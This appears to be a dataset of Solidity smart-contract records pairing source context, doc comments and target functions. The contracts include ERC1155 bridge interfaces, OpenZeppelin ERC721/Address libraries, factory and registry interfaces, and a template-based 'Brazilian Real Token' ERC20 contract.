* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferNetworkERC1155(
uint256 networkFrom,
uint256 networkTo,
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 value
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "./IERC1155Multinetwork.sol";
/// @notice defines the interface for the bridge contract. This contract implements a decentralized
/// bridge for an erc1155 token which enables users to transfer erc1155 tokens between supported networks.
/// users request a transfer in one network, which registers the transfer in the bridge contract, and generates
/// an event. This event is seen by a validator, who validates the transfer by calling the validate method on
/// the target network. Once a majority of validators have validated the transfer, the transfer is executed on the
/// target network by minting the approriate token type and burning the appropriate amount of the source token,
/// which is held in custody by the bridge contract until the transaction is confirmed. In order to participate,
/// validators must register with the bridge contract and put up a deposit as collateral. The deposit is returned
/// to the validator when the validator self-removes from the validator set. If the validator acts in a way that
/// violates the rules of the bridge contract - namely the validator fails to validate a number of transfers,
/// or the validator posts some number of transfers which remain unconfirmed, then the validator is removed from the
/// validator set and their bond is distributed to other validators. The validator will then need to re-bond and
/// re-register. Repeated violations of the rules of the bridge contract will result in the validator being removed
/// from the validator set permanently via a ban.
interface IERC1155Bridge is IERC1155Multinetwork {
/// @notice the network transfer status
/// pending = on its way to the target network
/// confirmed = target network received the transfer
enum NetworkTransferStatus {
Started,
Confirmed,
Failed
}
/// @notice the network transfer request structure. contains all the expected params of a transfer plus one addition nwtwork id param
struct NetworkTransferRequest {
uint256 id;
address from;
address to;
uint32 network;
uint256 token;
uint256 amount;
bytes data;
NetworkTransferStatus status;
}
/// @notice emitted when a transfer is started
event NetworkTransferStarted(
uint256 indexed id,
NetworkTransferRequest data
);
/// @notice emitted when a transfer is confirmed
event NetworkTransferConfirmed(
uint256 indexed id,
NetworkTransferRequest data
);
/// @notice emitted when a transfer is cancelled
event NetworkTransferCancelled(
uint256 indexed id,
NetworkTransferRequest data
);
/// @notice the token this bridge works with
function token() external view returns (address);
/// @notice start the network transfer
function transfer(
uint256 id,
NetworkTransferRequest memory request
) external;
/// @notice confirm the transfer. called by the target-side bridge
/// @param id the id of the transfer
function confirm(uint256 id) external;
/// @notice fail the transfer. called by the target-side bridge
/// @param id the id of the transfer
function cancel(uint256 id) external;
/// @notice get the transfer request struct
/// @param id the id of the transfer
/// @return the transfer request struct
function get(uint256 id)
external view returns (NetworkTransferRequest memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../interfaces/IJanusRegistry.sol";
import "../interfaces/IFactory.sol";
/// @title NextgemStakingPool
/// @notice implements a staking pool for nextgem. Intakes a token and issues another token over time
contract Service {
address internal _serviceOwner;
// the service registry controls everything. It tells all objects
// what service address they are registered to, who the owner is,
// and all other things that are good in the world.
address internal _serviceRegistry;
function _setRegistry(address registry) internal {
_serviceRegistry = registry;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../interfaces/IFactory.sol";
contract FactoryElement is IFactoryElement {
address internal _factory;
address internal _owner;
modifier onlyFactory() {
require(_factory == address(0) || _factory == msg.sender, "Only factory can call this function");
_;
}
modifier onlyFactoryOwner() {
require(_factory == address(0) ||_owner == msg.sender, "Only owner can call this function");
_;
}
function factoryCreated(address factory_, address owner_) external override {
require(_owner == address(0), "already created");
_factory = factory_;
_owner = owner_;
}
function factory() external view override returns(address) {
return _factory;
}
function owner() external view override returns(address) {
return _owner;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/interfaces/IERC165.sol";
///
/// @dev interface for a holder (owner) of an ERC2981-enabled token
/// @dev to modify the fee amount as well as transfer ownership of
/// @dev royalty to someone else.
///
interface IERC2981Holder {
/// @dev emitted when the roalty has changed
event RoyaltyFeeChanged(
address indexed operator,
uint256 indexed _id,
uint256 _fee
);
/// @dev emitted when the roalty ownership has been transferred
event RoyaltyOwnershipTransferred(
uint256 indexed _id,
address indexed oldOwner,
address indexed newOwner
);
/// @notice set the fee amount for the fee id
/// @param _id the fee id
/// @param _fee the fee amount
function setFee(uint256 _id, uint256 _fee) external;
/// @notice get the fee amount for the fee id
/// @param _id the fee id
/// @return the fee amount
function getFee(uint256 _id) external returns (uint256);
/// @notice get the owner address of the royalty
/// @param _id the fee id
/// @return the owner address
function royaltyOwner(uint256 _id) external returns (address);
/// @notice transfer ownership of the royalty to someone else
/// @param _id the fee id
/// @param _newOwner the new owner address
function transferOwnership(uint256 _id, address _newOwner) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// @dev Interface for the NFT Royalty Standard
///
interface IERC2981 {
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _salePrice - the sale price of the NFT asset specified by _tokenId
/// @return receiver - address of who should be sent the royalty payment
/// @return royaltyAmount - the royalty payment amount for _salePrice
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165.sol";
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface OwnableDelegateProxy {}
/**
* @dev a registry of proxies
*/
interface IProxyRegistry {
function proxies(address _owner) external view returns (OwnableDelegateProxy);
}
/// @notice a proxy registry is a registry of delegate proxies which have the ability to autoapprove transactions for some address / contract. Used by OpenSEA to enable feeless trades by a proxy account
interface IProxyRegistryManager {
/// @notice add a new registry manager to the registry
/// @param newManager the address of the registry manager to add
function addRegistryManager(address newManager) external;
/// @notice remove a registry manager from the registry
/// @param oldManager the address of the registry manager to remove
function removeRegistryManager(address oldManager) external;
/// @notice check if an address is a registry manager
/// @param _addr the address of the registry manager to check
/// @return _isRegistryManager true if the address is a registry manager, false otherwise
function isRegistryManager(address _addr)
external
view
returns (bool _isRegistryManager);
/// @notice add a new proxy address to the registry
/// @param newProxy the address of the proxy to add
function addProxy(address newProxy) external;
/// @notice remove a proxy address from the registry
/// @param oldProxy the address of the proxy to remove
function removeProxy(address oldProxy) external;
/// @notice check if an address is a proxy address
/// @param _addr the address of the proxy to check
/// @return _is true if the address is a proxy address, false otherwise
function isProxy(address _addr)
external
view
returns (bool _is);
/// @notice get count of proxies
/// @return _allCount the number of proxies
function allProxiesCount()
external
view
returns (uint256 _allCount);
/// @notice get the address of a proxy at a given index
/// @param _index the index of the proxy to get
/// @return _proxy the address of the proxy at the given index
function proxyAt(uint256 _index)
external
view
returns (address _proxy);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// @notice a controllable contract interface. allows for controllers to perform privileged actions. controllera can other controllers and remove themselves.
interface IControllable {
/// @notice emitted when a controller is added.
event ControllerAdded(
address indexed contractAddress,
address indexed controllerAddress
);
/// @notice emitted when a controller is removed.
event ControllerRemoved(
address indexed contractAddress,
address indexed controllerAddress
);
/// @notice adds a controller.
/// @param controller the controller to add.
function addController(address controller) external;
/// @notice removes a controller.
/// @param controller the address to check
/// @return true if the address is a controller
function isController(address controller) external view returns (bool);
/// @notice remove ourselves from the list of controllers.
function relinquishControl() external;
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
/// @notice implements a Janus (multifaced) registry. GLobal registry items can be set by specifying 0 for the registry face. Those global items are then available to all faces, and individual faces can override the global items for
interface IJanusRegistry {
/// @notice Get the registro address given the face name. If the face is 0, the global registry is returned.
/// @param face the face name or 0 for the global registry
/// @param name uint256 of the token index
/// @return item the service token record
function get(string memory face, string memory name)
external
view
returns (address item);
/// @notice returns whether the service is in the list
/// @param item uint256 of the token index
function member(address item)
external
view
returns (string memory face, string memory name);
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IFactoryElement {
function factoryCreated(address _factory, address _owner) external;
function factory() external returns(address);
function owner() external returns(address);
}
/// @title A title that should describe the contract/interface
/// @author The name of the author
/// @notice Explain to an end user what this does
/// @dev Explain to a developer any extra details
/// @notice a contract factory. Can create an instance of a new contract and return elements from that list to callers
interface IFactory {
/// @notice a contract instance.
struct Instance {
address factory;
address contractAddress;
}
/// @dev emitted when a new contract instance has been craeted
event InstanceCreated(
address factory,
address contractAddress,
Instance data
);
/// @notice a set of requirements. used for random access
struct FactoryInstanceSet {
mapping(uint256 => uint256) keyPointers;
uint256[] keyList;
Instance[] valueList;
}
struct FactoryData {
FactoryInstanceSet instances;
}
struct FactorySettings {
FactoryData data;
}
/// @notice returns the contract bytecode
/// @return _instances the contract bytecode
function contractBytes() external view returns (bytes memory _instances);
/// @notice returns the contract instances as a list of instances
/// @return _instances the contract instances
function instances() external view returns (Instance[] memory _instances);
/// @notice returns the contract instance at the given index
/// @param idx the index of the instance to return
/// @return instance the instance at the given index
function at(uint256 idx) external view returns (Instance memory instance);
/// @notice returns the length of the already-created contracts list
/// @return _length the length of the list
function count() external view returns (uint256 _length);
/// @notice creates a new contract instance
/// @param owner the owner of the new contract
/// @param salt the salt to use for the new contract
/// @return instanceOut the address of the new contract
function create(address owner, uint256 salt)
external
returns (Instance memory instanceOut);
}
|
@notice Mint a specified amount the specified token hash to the specified receiver @param recipient the address of the receiver @param amount the amount to mint
|
function mint(
address recipient,
uint256,
uint256 amount
) external override onlyMinter {
_mint(recipient, amount, "", true);
}
| 12,215,468
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./partial_match/1/0x44383018ecf3DBED34eE621439a5Ff6002e8209b/sources/contracts/libraries/ValidationLibV1.sol
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solhint-disable-line
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require(block.timestamp > s.getResolutionTimestampInternal(coverKey, productKey), "Reporting still active");
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pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'BRLT' token contract
//
// Deployed to : 0x41C01275784c14B692e73d1dfD09859f1f04b079
// Symbol : BRLT
// Name : Brazilian Real Token
// Total supply: 1,000,000,000,000.000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BrazilianRealToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BRLT";
name = "Brazilian Real Token";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[0x41C01275784c14B692e73d1dfD09859f1f04b079] = _totalSupply;
emit Transfer(address(0), 0x41C01275784c14B692e73d1dfD09859f1f04b079, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
|
contract BrazilianRealToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "BRLT";
name = "Brazilian Real Token";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[0x41C01275784c14B692e73d1dfD09859f1f04b079] = _totalSupply;
emit Transfer(address(0), 0x41C01275784c14B692e73d1dfD09859f1f04b079, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 10,214,555
|
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pragma solidity ^0.5.0;
// Copyright 2019 OpenST Ltd.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
